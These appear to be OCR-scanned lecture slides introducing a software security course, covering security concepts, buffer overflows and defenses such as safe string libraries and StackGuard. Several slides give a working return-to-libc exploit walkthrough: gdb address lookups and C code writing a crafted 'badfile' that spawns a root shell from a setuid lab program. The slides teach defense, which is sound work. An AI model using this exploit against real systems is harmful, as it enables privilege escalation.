COURSE INTRODUCTION

MEMORY SAFETY



Key Themes of This Course

o
-1 How to think about security

The Security Mindset - “new” way to think about systems
Threat models, security goals, assets, risks, adversaries

Connection between security, technology, politics, ethics, ...

- Technical aspects of security
Attack techniques
Defenses



Special Focus on Software Security

(In)security comes about as a result of bugs
Often — but not always — these are software bugs
We will focus on the software aspect of security

Often the term application security or software
security is used to describe some of this



Software Security

o “First things first—make sure you
know how to code, and have
been doing so for years. It is
better to be a developer (and
architect) and then learn about
security than to be a security guy
and try to learn to code”

“It's hard 1o protect yourself if you don't know whal you're up against A
This book has the details you need to know about how attackers find software ¥ W
holes and exploit them —details that will help you secure your own systems.”

Ed Felten, Ph.D., Professor of Computer Science, Princeton Univers ty

EXPLOITIN CEE

SOFTWAR

HOW TO BREAK CODE

GREG HOGLUND = GARY McGRAW

foreword by Aviel 0. Rubin




Course Outline

Monday overview of security, memory safety
Tuesday web application vulnerabilities
Wednesday static and runtime analysis
Thursday malware

Friday privacy

Saturday exam 11-13



Reading list

25 Years of Vulnerabilities

A few billion lines of code later

|s open source security a myth?

SAGE: Whitebox Fuzzing for Security Testing
Symbolic Execution for Software Testing
Browser security: Lessons from Chrome
Advertising Gets Personal

Inside the Slammer Worm

The underground economy: priceless
Understanding Android Security



What This Course is NOT About

1 Not a comprehensive course on computer security
Computer security is a broad discipline!
Impossible to cover everything in one quarter
So be careful in industry or wherever you go!

1 Not about all of the latest and greatest attacks
Follow the news

1 Not a course on ethical, legal, or economic issues
We will touch on ethical issues, but the topic is huge
1 Not a course on how to “hack” or “crack” systems or do
computer forensics

Yes, we will learn about attacks ... but the ultimate goal is to develop an
understanding of attacks so that you can build more secure systems



Security Concepts
1
1. Authentication

>, Authorization

;. Confidentiality

.. Data / Message Integrity
5. Accountability

. Availability

7. Non-Repudiation



Authentication

|dentity Verification

How can Bob be sure that he is
communicating with Alice?

Three General Ways:
Something you know (i.e., Passwords)
Something you have (i.e., Tokens)
Something you are (i.e., Biometrics)




Something You Know

Example: PaSSWOI’dS Debian GNU/Linux slink localhost
Pros:
i i mapef login: natasah
S!mple to implement P cward s B
Simple for users to understand

Cons:
Easy to crack (unless users choose strong ones)
Passwords are reused many times

One-time Passwords (OTP):

different password used each time, but it is difficult for
user to remember all of them

what can be done to deal with password memorization
issues?


http://top.pefri.hr/mreze/login.jpg
http://top.pefri.hr/mreze/login.jpg

Something You Have

A “secret” is a sequence of bits, Os and 1s, only
know to the card/token and the system into
which it is inserted

OTP Cards (e.g. SecurlD): generates new password
each time user logs in

Smart Card: tamper-resistant, stores secret
information, entered into a card-reader

Token / Key (i.e., iButton)
ATM Card

Strength of authentication depends on difficulty of
forging



Or Maybe | Have a Browser Cookie

e

MCYULCaL ViIRLe Ll e v/ iyUunsndolidligeviie QUUWy oGl vaAC L e

Request Method: GET
Status Code: @ 200 OK
Request Headers view source

Accept: text/html,application/xhtml+xml,applicatioc

COOkie is part of Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.8,ru;q=0.6

Connection: keep-alive
Su bseq uent Cookie: MyUWClassQuarterCode=4; SESS67880dad9466154:
2.1045452304.1409009811; __ utma=152962213.1045452
reqUEStS ©.1411580267; __utmc=152962213; __ utmz=152962213.

d=referral|utmcct=/itconnect/connect/email/mailma
.1845452304.1409009811.1411529170.1411580174.30;

98417.1411529170.29.5.utmcsr=google |utmccn=(organ
53388174E75330162E704FDCAC7 .myuwl2; pubcookie_s_m
WFXKglLsgplyaVe@yF4ggelSTx+Rr@BfeTLc64SRqeHmqeGmG

ATUEI v FIRAETAKV S IR QI INT Ark T v SwA DT ~N ARORNRKAST



Biometrics

1 Pros: “raises the bar”

o Cons: false
negatives/positives,
social acceptance, key
management

se and nusber: S¥E® sEsERss

SCANNING FOR n/ ;

False positive: authentic 7/\‘ B\

i

user rejected

False negative: impostor
accepted




Final Notes

Two-factor Authentication: Methods can be combined
(i.e. ATM card & PIN)

Who is authenticating who?
Person-to-computer?
Computer-to-computer?

Three types (e.g. SSL):
Client Authentication: server verifies client’s id
Server Authentication: client verifies server’s id
Mutual Authentication (Client & Server)

Authenticated user is a “Principal”



Authorization

Checking whether a user has permission to =
conduct some action s \

|dentity vs. Authority

s a “subject” (Alice) allowed to access an “object”
(open a file)?

Access Control List: mechanism used by many
operating systems to determine whether users
are authorized to conduct different actions



http://images.google.com/imgres?imgurl=school.discovery.com/clipart/images/permission.gif&imgrefurl=http://school.discovery.com/clipart/clip/permission.html&h=450&w=550&prev=/images?q=permission&svnum=10&hl=en&lr=&ie=UTF-8&oe=UTF-8
http://images.google.com/imgres?imgurl=school.discovery.com/clipart/images/permission.gif&imgrefurl=http://school.discovery.com/clipart/clip/permission.html&h=450&w=550&prev=/images?q=permission&svnum=10&hl=en&lr=&ie=UTF-8&oe=UTF-8

Configuring Mailing List Permissions

Member filters

By default, should new list member postings be moderated?

Details for default_member_moderation) No * Yes
Action to take when a moderated member posts to the list. )
¢ Hold * Reje

Details for member_moderation_action)

ction notice to be sent to moderated members who post to this list.
{Details for member_moderation_notice)

gr__g EFF [Selena)

Non-member filters

5]

'mber addresses whose postings should be automatically accepled
{Details for accept_these_r s)

_listing.

o o o

html

5]

addresses whose postings will be immediately held for moderation.
(Details for hold these r s)

[]
|}
|}
t
dr

_listing.

r-member addresses whose postings will be automatically rejected
{Details for reject these r s)

member addresses whose postings will be automatically dlscardad
(Details for discard_these_r )




Access Control Lists (ACLs)

Set of three-tuples Table 1-1. A Simple ACL

<User, Resource . .
’ ’ User | Resource | Privilege

Privilege>
Alice | /home/Alice/* | Read, write,

Specifies which users execute

are allowed to access
which resources with
which privileges

Bob | /home/Bob /* | Read, write,
execute

Privileges can be
assigned based on

roles (e.g. admin)



Access Control Models

ACLs used to implement these models

Mandatory: computer system decides exactly who has
access to which resources

Discretionary (e.g. UNIX): users are authorized to
determine which other users can access files or other
resources that they create, use, or own

Role-Based (Non-Discretionary): user’s access & privileges
determined by role



Confidentiality

Goal: Keep the contents of communication or data
on storage secret

Example: Alice and Bob want their communications
to be secret from Eve

Key — a secret shared between Alice & Bob

Sometimes accomplished with

Cryptography, Steganography, Access Controls, Database
Views



Message/Data Integrity

Data Integrity = No Corruption

Man in the middle attack: Has Mallory tampered with the
message that Alice sends to Bob?

Integrity Check: Add redundancy to data/messages

Techniques:
Hashing (MD5, SHA-1, ...), Checksums (CRC...)
Message Authentication Codes (MACs)

Different From Confidentiality:
A ->B: “The value of xis 1” (not secret)
A ->M ->B: “The value of x is 10000” (BAD)
A->M ->B: “The value of yis 1” (BAD)



Accountability

Able to determine the attacker or principal
Logging & Audit Trails

Requirements:
Secure Timestamping (OS vs. Network)

Data integrity in logs & audit trails, must not be able to
change trails, or be able to detect changes to logs

Otherwise attacker can cover their tracks



Availability

Uptime, Free Storage

Ex. dial tone availability, System downtime limit, Web
server response time

Solutions:
Add redundancy to remove single point of failure
Impose “limits” that legitimate users can use

Goal of DoS (Denial of Service) attacks are to reduce
availability
Malware used to send excessive traffic to victim site
Overwhelmed servers can’t process legitimate traffic



Non-Repudiation

Undeniability of a transaction

Alice wants to prove to Trent that she did
communicate with Bob

Generate evidence / receipts (digitally signed
statements)

Often not implemented in practice, credit-card
companies become de facto third-party verifiers



How Systems Fail

Systems may fail for many reasons, including
Reliability or robustness deals with accidental failures

Security deals with intentional failures created by
intelligent parties

Security is about computing in the presence of an adversary
But security, reliability, and usability are all related

Usability deals with problems arising from operating
mistakes made by users



What Drives the Attackers?

Adversarial motivations: Attack on website,
Money, fame, malice, extort money
revenge, curiosity, politics,
terror.... Wreak havoc,

Fake websites: identity achieve fame and

theft, steal money glory

Control victim’s machine:
send spam, capture
passwords

Access copy-
protected movies

. . and videos,
Industrial espionage and

international politics entitlement or
pleasure



Security is a Big Problem

o1 Security very often on front pages of newspapers

Wneushock bug: First malware to exploit security flaw
X BB -spotted in the wild

| @ Pay TV Takes
Sep 25,2014 15:27 By Mikey Smith

Stock of Dodgers
fome Depot Was Hacked b)’he first bot apparently designed to exploit the Shellshock bash bug has been

Fiasco
zencies Warn Retailers of the Software Used ##iscovered, and many more are expected to follow

emat @rin W sconmens [ 1 %6 B Q5 O @ © Improve these suggestions

SHELLY BANJO and DANNY YADRON  connecr

* Recommended In News

Londoners unwittingly
sign away first-born
child to get free Wi-Fi

.ttt -
A ] -
Q[0 T

AT

TWITTER

10 greatest celebrity
Twitter howlers

APPLE

Apple’s ‘illegal’ tax dez
with Irish government
probed by EU

Tech-savvy paedophile
drive market for web-
streamed child abuse

he software appeared to be customized for Home Depot's systen

ederal security agencies warned retailers Wednesday tfacked off: An underground criminal network are stealing people’s financial information
nalicious software program thev are calling Mozart was 4

earlie ear neanle familiar

The first malware apparently designed to exploit the devastating Shellshock




Challenges: What is “Security?”

o What does security mean?

Often the hardest part of building a secure system is figuring out
what security means

0 Questions:
What are the assets to protect?
What are the threats to those assets?
Who are the adversaries, and what are their resources?

T IS the security policy?

" Perfect security does not exist!
Security is not a binary property
Security is about risk management



From Policy to Implementation

o After you've figured out what security means to your
application, there are still challenges

Requirements bugs

m Incorrect or problematic goals
Design bugs

m Poor use of cryptography

m Poor sources of randomness
m ...

Implementation bugs

m Buffer overflow attacks

s the system usable?



Many Participants Affecting System Security
-

o Many parties involved
System developers
Companies deploying the system
The end users
The adversaries (possibly one of the above)

o Different parties have different goals
System developers and companies may wish to optimize cost

End users may desire security, privacy, and usability

m True?

But the relationship between these goals is quite complex (will
customers choose not to buy the product if it is not secure?)



Other (Mutually-Related) Issues

Do consumers actually care about security?
Do consumers care about privacy?

Security is expensive to implement

Plenty of legacy software

Easier to write “insecure” code

Some languages (like C and C++) are unsafe



Approaches to Security

Prevention
Stop an attack

Detection

Detect an ongoing or past attack

Response

Respond to attacks

The threat of a response may be enough to deter
some attackers



Control Hijacking Attacks

O

O

Take over target machine (e.g. web
server)

Execute arbitrary code on target
by hijacking application’s control
flow, i.e. what actions it performs

Ideally, this is something that can be
done remotely

-1 Basic examples
Buffer overflow attacks
Integer overflow attacks

Format string
vulnerabilities

7 More advanced
Heap-based exploits
Heap spraying

ROC — return-oriented
programming

JIT spraying



Buffer Overruns: 35% of Critical Vulns
B =

Information Leak Race

Other
1%
Path Tzr;vetsal Crypto

Credentials

2% Format 1% 0%
Authentication String CSRF
3% 2%

Numeric Errors

3%
0OS Command

Injections

3% Configuration

Resource Management
3%

Code injection
5%



Vulnerabilities By Year

2000

1988 1989 1590 1991 1992 1593 1594 1595 1556 1957 1998 1595 2000 2001 2002 2005 2004 2005 2006 2007 2008 2009 2010 2011 2012



Top 3 Vulnerability Type Over Time

35—

- ® Not encugh info
3500 4
m Code Injection
=i B Configuration
B Input Yalidation
2500
| ™ Aocess Control
2ol | m Buffer errors
m 50L Injection
15m 1
B X55
wm 1
500 +°

Loge-1928 1999 2000 rle i f 2002 200 2004 2005 2008 20 20008 200 2010 oLl 2012



Anatomy of a Buffer Overflow

Buffer: memory used to
store user input, has fixed
maximum size

Buffer overflow: when user
input exceeds max buffer
size

Extra input goes into
memory locations



Semantics of the Program vs.
Implementation of the Language

Buggy programs will behave “as expected” most of the time
Some of the time, they will fail in unexpected ways

Some other times, when confronted with unexpected
inputs provided by the attacker, they will give the attacker
some unexpected capabilities

Fundamentally, the semantics of C are very close to its

implementation on modern hardware, which compromises
safety



A Small Example
-1

1 Malicious user enters >
1024 chars, but buf can
only store 1024 chars;
extra chars overflow buffer

1 void get_input() {

2 char buf[1024];
3 gets(buf);
4}

5 void main(int argc, char*argv[]){
6 get_input();
7}



A More Detailed Example:
Break Password Checking

1 int checkPassword() {

2 char pass[16];
3 bzero(pass, 16); // Initialize /-
4 printf ("Enter password: ");
5 gets(pass); -
6 if (strcmp(pass, “"opensesame™) == 9)
7 return 1; =
8 else ::- =
9 return 0; e
10 }
11
12 void openVault() {
13 // Opens the vault checkPassword()
E ¥ pass[16] Return pass[16]
16 main() { main() +———Addr. T openVault()
17 if (checkPassword()) { main()
18 openVault();
. " [y . -
;g } printf ("Vault opened!"); “Normal” Compromised
Stack Stack

21 }


http://www.ucmp.berkeley.edu/people/davidl/labdata/data.html
http://www.ucmp.berkeley.edu/people/davidl/labdata/data.html

checkPassword () Bugs

Execution stack: maintains current function state and
address of return function

Stack frame: holds vars and data for function

Extra user input (> 16 chars) overwrites return
address

Attack string: 17-20% chars can specify address of
openVault() to bypass check

Address can be found with source code or binary



Non-Executable Stacks Don’t Solve It All

Some operating systems (for example Fedora) allow
system administrators to make stacks non-executable

Attack could overwrite return address to point to newly
injected code

NX stacks can prevent this, but not the vault example
(jJumping to an existing function)

Return-into-libc attack: jump to library functions

e.g. /bin/sh or cmd.exe to gain access to a command shell
(shellcode) and complete control



The safe gets() Function
]

1 #define EOLN '\n'

2 void safe_gets (char *input, int max_chars) {

3 if ((input == NULL) || (max_chars < 1))) return;
4 if (max_chars == 1) { input[@] = @; return; }

5 int count = O;

6 char next _char;
7

8

do {
next _char = getchar(); // one character at a time
9 if (next_char != EOLN)
10 input[count++] = next_char;
11 } while ((count < max_chars-1) & // leave space for null
12 (next_char != EOLN));
13 input[count]=0;

o Unlike gets (), takes parameter specifying max chars to insert
in buffer

o1 Use in checkPassword() instead of gets() to eliminate buffer
overflow vulnerability: 5 safe_gets(pass, 16);



More on return-to-libc Exploits

/* retlib.c */

/* This program has a buffer overflow vulnerability. */ _

/* Our task is to exploit this vulnerability */ $ SUdO S

finclude <stdlib.ho Password (enter your password)
#include <stdio.h>

#include <string.h>

unsigned int xormask = OxBE;

int i, length; # gcc -fno-stack-protector -o
int bof(FILE *badfil . .
;e adrite) retlib retlib.c

char buffer[12];
/* The following statement has a buffer overflow problem */

length = fread(buffer, sizeof(char), 52, badfile); # ChmOd 4755 r\etlib
/* XOR the buffer with a bit mask */

for (i=0; i<length; i++) {

buffer[i] "= xormask; .
} # exit
return 1;
}
int main(int argc, char **argy) Now we have this program that will run as
{ root on the machine

FILE *badfile;

badfile = fopen("badfile", "r");
bof(badfile);

printf("Returned Properly\n");
fclose(badfile);

return 1;



Getting Root Access

fread reads an input of
size 52 bytes from a
file called “badfile”
into a buffer of size 12,
causing the overflow.

The function fread()
does not check
boundaries, so buffer
overflow will occur

The goal is to spawn a
root shell on the
machine as a result of
changing badfile’s
contents

Why this obsession
with the shell?



stack Layo,

This is our primary
‘ target — we are after a -1 But of course we need

Argument to the call to system!

- Overriciden WITN TN€ aaaress or tne to flg ure out th S
4 LU L correct addresses to

Retura address of the s S : - . .

bytes) - Cverridden witl This is function main’s put into the filel
exit]) fun stack frame

\ _J ___________/

o1 system function in libc
Return address (4 bytes) - Overridden with . . . .
the address to the system () function oexit fU nction In ||bC

N, 7 And we need to figure
Addess ot the previous stack frame pointer
(4 bytes) out how to place a
pointer to /bin/sh
Size ofthe Argument to the call to . h
system (shell program) Strmg at the tOp

will go here



= . ...

Address of system Routine

BHle E£dit, View, Teoniosl Help. . .. ...

seed@seed-desktop:~/assignment$ gdb ./retlib =
GNU gdb 6.8-debian

Copyright (C) 2008 Free Software Foundation, Inc.

License GPLV3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.htal>
This 1s free software: you are free to change and redistribute it,

There is NO WARRANTY, to the extent permitted by law. Type “show copying”
and "show warranty" for details.

This GOB was configured as “1486-linux-gnu”...

(gdb) b main

Breakpoint 1 at ©x80648584

{gdb) r

Starting program: /home/seed/assignment/retlib

Breakpoint 1, ©0x08048584 in main ()

urrent language: auto; currently asm

gdb) p system

$1 = (itext variable, no debug info>} Oxb7ea78bd <system>
{gdb)

1

i.,



Address of ex1it
T L

seed@seed-desktop:~/assignment$ gdb ./retlib

GNU gdb 6.8-debian

Copyright (C) 2088 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law. Type "show copying”
and “show warranty*" for details.

This GOB was configured as "i486-linux-gnu®...

(gdb) b main

Breakpoint 1 at 0x8048584

(gdb) r

Starting program: /home/seed/assignment/retlib

Breakpoint 1, ©x08648584 in main ()

Current language: auto; currently asm

(gdb) p exit

$1 = {itext variable, no debug info>} @xb7e9cb30 <exit>
(gdb)



Address of the /bin/sh

= ...

findBinShAddress.c:6: warning: format “%p’ expects type ‘void *', but argument 2
findBinShAddress.c:3: warning: return type of 'main’ is not ‘int’
seed@seed-desktop:~/assignment$ clear

seed@seed-desktop:~/assignment$ export BINSH=" /bin/sh”
seed@seed-desktop:~/assignments ./findBinShAddress

oxbffffeds /bin/sh . :

seed@seed-desktop:~/assignment$ gdb ./retlib #1 nc 1 Ude < Std 10. h >
GNU gdb 6.8-debian . .
Copyright (C) 2808 Free Software Foundation, Inc. volid main ( ){
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> .
This is free software: you are free to change and redistribute it, Cha I"* b1nsh =
There is NO WARRANTY, to the extent permitted by law. Type “show copying”

and “show warranty* for details. n LLED W
This GDB was configured as “1486-linux-gnu”... getenv( BINSH ) J

(gdb) b main if(binsh){

Breakpoint 1 at Ox8048584
{gdb) r . no o n
Starting program: /home/seed/assignment/retlib P rin t 'F ( /Op /OS \ n )

Breakpoint 1, 8x88048584 in main () (unsigned int)
Current language: auto; currently asa . R
(gdb) x/s Bxbffffess binsh, binsh);
oxbffffens: *H=", ' ' <repeats 23 times>, “/bin/sh*
(gdb) x/s Oxbffffele }
oxbffffele: */bin/sh*

(gdb) }




Putting badfile Together

1 int main(int argc, char **argv) {

unsigned int xormask = OXBE;

char buf[52];

FILE *badfile;

memset (buf, 1, sizeof(buf));

badfile = fopen("./badfile", "w");

/* You need to decide the addresses and

the values for X, Y, Z. The order of the following
statements does not imply the order of X, Y, Z.

10 Actually, we intentionally scrambled the order. */
11 *(long *) &buf[24] = exbffffelf ; // address of "“/bin/sh"
12 //..... // string on stack

13 *(long *) &buf[16] = @xb7ea78b@ ; // system() call
14 *(long *) &buf[20] = ©xb7e9cb3@ ; // exit()

15

16 /* Added XOR mask to bypass mask in retlib.c program.*/
17 int i = ©;

18 for (i = @; i < 52; i++) {

19 buf[i] “=xormask;

20 }

21

22 fwrite(buf, sizeof(buf), 1, badfile);

23 fclose(badfile);

24 }

O oo~ v B~ wiN




Time to Rejoice

File Eot View Jerminal Heidp

root@seed-desktop:~/assigrnment# g -Tno-stack-protector -0 retiib retlid.c
root@seed-desktop:~/assigrnment# chmod 4755 retlid

root@seed -desktop:~/assigneent# cxit

exit

seed@seed-desktop:~/assigrments gcc -0 exploit 1 exploit 1.¢
secddsecd-desktop:~/assigrments ./exploit 1
seco@secd-desktop:~/assigrnments . /retiid

’

See this entry for more details: Uh oh, we are all screwed.

h ://lasithh. d . / /06/23/h
ovt\lJf‘izo—ca?‘rs‘)l:outv—vgrr‘z‘rc‘ﬁirs'n—’(c:gr?ligfagiaii/ M““"A"“"A!




Any Solutions?

the darkest hour is just before the dawn




Safe String Libraries

Avoid unsafe strcpy(), strcat(),
sprintf(), scanf()

Use safer versions (with bounds
checking): strncpy(), strncat(),
fgets()

Microsoft’s StrSafe, Messier and

Viega’s SafeStr do bounds

checks, null termination

Must pass the right buffer size to
functions!

C++: STL string class handles
allocation

Unlike compiled languages
(C/C++), interpreted ones
(Java/C#) enforce type safety, raise
exceptions for buffer overflow

No such problems in PHP or
Python or JavaScript

Strings are primitive data types
different from arrays

Generally avoids buffer overflow
issues



Safe Libraries: Still A Lot of Tricky Code

The strcopy functions don’t accept
the destination buffer size as an
input. So, the developer doesn’t
have control for validating the size of
destination buffer size. The _countof
macro is used for computing the
number of elements in a statically-
allocated array. It doesn’t work with
pointer type.

The secured string copy supports in
wcscpy_s(wide-character),
_mbscpy_s(multibyte-character) and
strcpy_s formats. The arguments
and return value of wcscpy s are
wide character strings and
_mbscpy_s are multibyte character
strings. Otherwise, these three
functions behave identically.

wchar_t safe copy_strl][]=
L"Hello world";

wchar_t
safe_copy str2[MAX CHAR];

wcscpy_s( safe _copy str2,
_countof(safe _copy str2),
safe_copy _strl );

printf (

"After copy string =
%S\n\n",

safe_copy str2);



get s and Error Codes
s 4

#define MAX_BUF 10

// include

// do
wchar_t safe_getline[MAX_BUF]; icrosoft visual C+- Debug Ubrary IR
- Debug Assertion Failed!
if (gets_s(safe_getline, MAX_BUF) i ehaldoaliol bt
== NULL) ~
Expression: (L"Buffer is too small" &8 0)

{ For information on how your program can cause an assertion

pr intf ( "invalid in p ut. \ n" ) ; failure, see the Visual C++ documentation on asserts,

abort ( ) ; {Press Retry to debug the application)
}

printf("%S\n", safe getline);



Defensive Programming

1. Never Trust Input
> Prevent Errors
s Fail Early And Openly

2. Document
Assumptions

5. Prevention Over
Documentation

.. Automate Everything
7. Simplify And Clarify
5. Question Authority

From Learn C The Hard Way



SAL: Standard Annotation Language

int writeData( __ _in_bcount( length ) const void *buffer,

const int length );

int readData( _ out bcount_part( maxLength, *length )

void *buffer, const int maxLength, int *length );

int getListPointer( _ deref out void **1listPtrPtr );

int getInfo( _ inout struct thi . _
This function takes a block of

memory of up to maxLength
bytes and returns the byte
count in length

int writeString( _ in_z const c

http: d/
archive/2006/05/19/602077.aspx




Additional Approaches

Rewriting old string manipulation code is expensive
and error-prone other solutions?

StackGuard/canaries (Crispin Cowan)
Static checking (e.g. Coverity)
Non-executable stacks

Other languages (e.g., Java, C#, Python, JavaScript)



StackGuard

Canary: random value, unpredictable to attacker

Compiler technique: inserts canary before return
address on stack

Corrupt Canary: code halts

Process Address Space
program to thwart a OXFEFE | Top of Stack
possible attack

: Stack Return Address String
Not comprehensive ek rord sting
prOtECtlon \ Local Variables ...
buffer
0x0000

Source: C. Cowan et. al., StackGuard,



More on Canaries and Runtime Protection

I
-1 General principles

o1 Early detection

o Runtime can help

o1 The cost of protection
is quite low

1 The implementation
burden is not very
high, either




Static Analysis Tools

Static Analysis: analyzing programs without running
them

Meta-level compilation

Find security, synchronization, and memory bugs

Detect frequent code patterns/idioms and flag code
anomalies that don’t fit

Ex: Coverity, Fortify, Ounce Labs, Klockwork
Coverity found bugs in Linux device drivers
Lots of tools to look for security bugs in Web code



Performance is a Consideration

Better security comes at a cost, sometimes that cost is
runtime overhead

Mitigating buffer overflow attacks incurs little
performance cost

Safe str functions take slightly longer to execute
StackGuard canary adds small overhead

Performance hit is negligible while security payoff is
Immense



Heap-Based Overflows

malloc () in C provides a fix chunk of memory on
the heap

Unless realloc () called, attacker could
overflow heap buffer (fixed size)

overwrite adjacent data to modify control path of
program

Function pointers or vtable-contained pointers are
especially juicy targets



Typical Heap-Stored Targets for Overruns

- Exception handlers:
o (Windows SEH attacks)

o Function pointers:

0 (e.g. PHP4.0.2, MS
MediaPlayer Bitmaps)

buf

o longjmp buffers:

o longjmp(pos)
Fnc

o (e.g. Perl 5.003) otr



